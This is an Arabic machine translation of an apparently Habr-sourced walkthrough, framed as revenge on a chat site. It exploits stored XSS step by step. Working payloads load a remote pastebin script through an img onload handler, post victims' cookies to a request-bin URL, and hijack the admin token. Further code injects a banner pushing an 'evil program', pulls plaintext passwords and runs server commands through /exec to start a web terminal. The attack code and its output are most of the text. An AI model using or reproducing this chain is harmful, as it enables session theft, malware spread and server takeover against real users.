استغلال نقاط الضعف xss

استغلال نقاط الضعف xss



توضح هذه المقالة استخدام الثغرات الأمنية xss:


  • رمز السرقة
  • سرقة البيئة
  • تغييرات محتوى الموقع
  • الوصول إلى نظام الاستضافة

قبل التاريخ



لذلك ، ذهبت إلى الدردشة ، لقد شعرت بالإهانة ، والآن تريد الانتقام. كما ترى من مربع الحوار ، يمكنك بسهولة إرسال html ، وهي فرصة مثالية لـ xss ، في الواقع من غير المحتمل أن تلاحظ مثل هذه الثغرة.


قم بتشغيل البرنامج النصي


لدينا دردشة مع القدرة على إرسال HTML. لذلك دعونا نتحقق من إمكانية xss console.log('XSS stage 0') ولم تنجح.
ما هو الموضوع؟ يتجاهل Chromium و firefox البرامج النصية المضافة عبر innerHTML .
حسنا حاول النهج الثاني


 <img src="https://picsum.photos/200/200" onload="console.log('XSS')" /> 

XSS المعروضة في وحدة التحكم تعني أن الشفرة تعمل


الآن على pastebin سنقوم بإنشاء برنامج نصي سنلعب به
محتوى البرنامج النصي:


 console.log('Script loaded') 

لتشغيل البرنامج النصي في سمة onload ، اكتب:


 s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s) 

وترسل الآن


 <img src="https://picsum.photos/200/200" onload="s=document.createElement('script');s.src='https://pastebin.com/raw/[YOUR_PASTE_ID]';document.body.appendChild(s)" /> 

سيقوم جميع المستلمين بعرض الصورة وتشغيل البرنامج النصي


روب ملفات تعريف الارتباط


مع تحميل البرنامج النصي ، اكتشفنا ذلك ، سنبدأ العملية الآن. أولاً ، يجب إرسال البيانات في مكان ما ، وسوف نستخدم requestbin


 //     -  const headers = new Headers() headers.append("Content-Type", "application/json") const body = { "name": "Yoda" } const options = { method: "POST", headers, mode: "cors", body: JSON.stringify(body), } fetch("[URL]", options) 

لكن إرسال النص نفسه ليس أمرًا مثيرًا للاهتمام ، فلنرسل ملفات تعريف الارتباط


 //     -  const headers = new Headers() headers.append("Content-Type", "application/json") const body = { "cookies": document.cookie } const options = { method: "POST", headers, mode: "cors", body: JSON.stringify(body), } fetch("https://en9uiweslksnu.x.pipedream.net", options) 

تحتوي ملفات تعريف الارتباط على رموز لتحديد المستخدم.
في requestbin ، حصلنا على طلبين برمزين:
-1067197389
1679211939
منذ رمزي هو 1679211939
حتى المشرف رمزية -1067197389
استبدال الرمز المميز برمز المسؤول ، يمكننا الكتابة نيابة عنه


تغيير المحتوى


الكتابة كمسؤول ممتعة ، ولكن دعنا نغير محتوى الموقع قليلاً. إضافة مثل هذه الخطوط إلى برنامجنا الضار


 let d = document.createElement('div') d.innerHTML = `<div style="position: fixed;top: 0;height: 20px;width: 100vw;color: white;text-align: center;background: purple;" onclick="document.location='/your_very_evil_program'">Download new appliction</div>` document.body.appendChild(d) document.getElementById('msgs').setAttribute('style', 'height: calc(100% - 60px);margin-top: 20px;') 


بعد أن نرسل هذه الصورة نيابة عن المشرف ، سيتلقى جميع المستلمين لافتة والتي ، عند النقر عليها ، تؤدي إلى /your_very_evil_program لدينا


سرقة البيئة


حان الوقت للوصول إلى لوحة المشرف. وبالتالي تحقق مما هو موجود في /admin وهناك التقينا من قبل ACCESS DENIED. BURN IN FIRE ACCESS DENIED. BURN IN FIRE ، حسنا ، استبدل رمز المسؤول في ملفات تعريف الارتباط. ومرة أخرى ، تم رفض الوصول ، مما يعني أن التفويض يحدث بطريقة أخرى. لذلك نحن نطلب لوحة المسؤول من الجهاز المسؤول.
أضف إلى السيناريو الشرير:


 const admin = await (await fetch("/admin")).text() 

ثم عند إرسال قيمة المسؤول إلى الجسم ، نحصل على /admin البيانات


سوف نحصل على رمز المشرف


 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>Admin</title> </head> <body> Hello admin<br /> <textarea id="users" rows="20" cols="100"></textarea><br /> <button id="updUsers">Update users</button><br /><br /> <script> let fetchUsrs = fetch("/users") .then(e => e.text()) .then(e => (document.getElementById("users").value = e)); document.getElementById("updUsers").onclick = () => { fetch("/users", { body: JSON.stringify({ data: document.getElementById("users").value.toString() }), headers: { Accept: "application/json, text/plain, */*", "Content-Type": "application/json" }, method: "POST" }).then(fetchUsrs); }; function toCmd(cmd) { document.location = "http://" + location.host + "/exec?cmd=" + encodeURIComponent(cmd); } </script> <button onclick="toCmd('free --human')">Check mem</button> <button onclick="toCmd('ps')">Show procs</button> </body> </html> 

ما الذي يمكن تعلمه من هذا:


  1. هناك نقطة نهاية /users يعيدون ويقبلون المستخدمين
  2. هل هناك نقطة النهاية /exec?cmd الذي يدير البرنامج
    كلا نقطتي النهاية لا تتيح لنا الوصول. لذلك حاول سحب /users

 { "admin": "VerySecurePassword", "chiken": "COW+CHICKEN", "user001": "agent007", "justUser": "llkk", "test":"12" } 

إذن لدينا الآن كلمة المرور وتسجيل الدخول لجميع مستخدمي النظام ، والآن نقوم بتسجيل الدخول تحت المشرف ، يمكننا الوصول إلى لوحة المشرف ، وفي ملفات تعريف الارتباط تظهر ملفات تعريف الارتباط فقط http التي تسمح بالوصول إليها


الحصول على الوصول إلى النظام


كما تتذكر ، لدينا نقطة نهاية تشغل الأمر ، لذا يمكننا الآن القيام بكل ما نريد ، لكن ليس من المناسب للغاية استخدامه ، لذلك سنشغل على الخادم
الآن تعيين /exec?cmd=npm%20i%20gritty%202%3E%261
وتشغيل /exec?cmd=node%20node_modules%2Fgritty%2Fbin%2Fgritty.js%20--port%208022
وفي المنفذ 8022 ، تصبح المحطة الطرفية متاحة لنا


XSS - خطير للغاية

Source: https://habr.com/ru/post/ar481338/


All Articles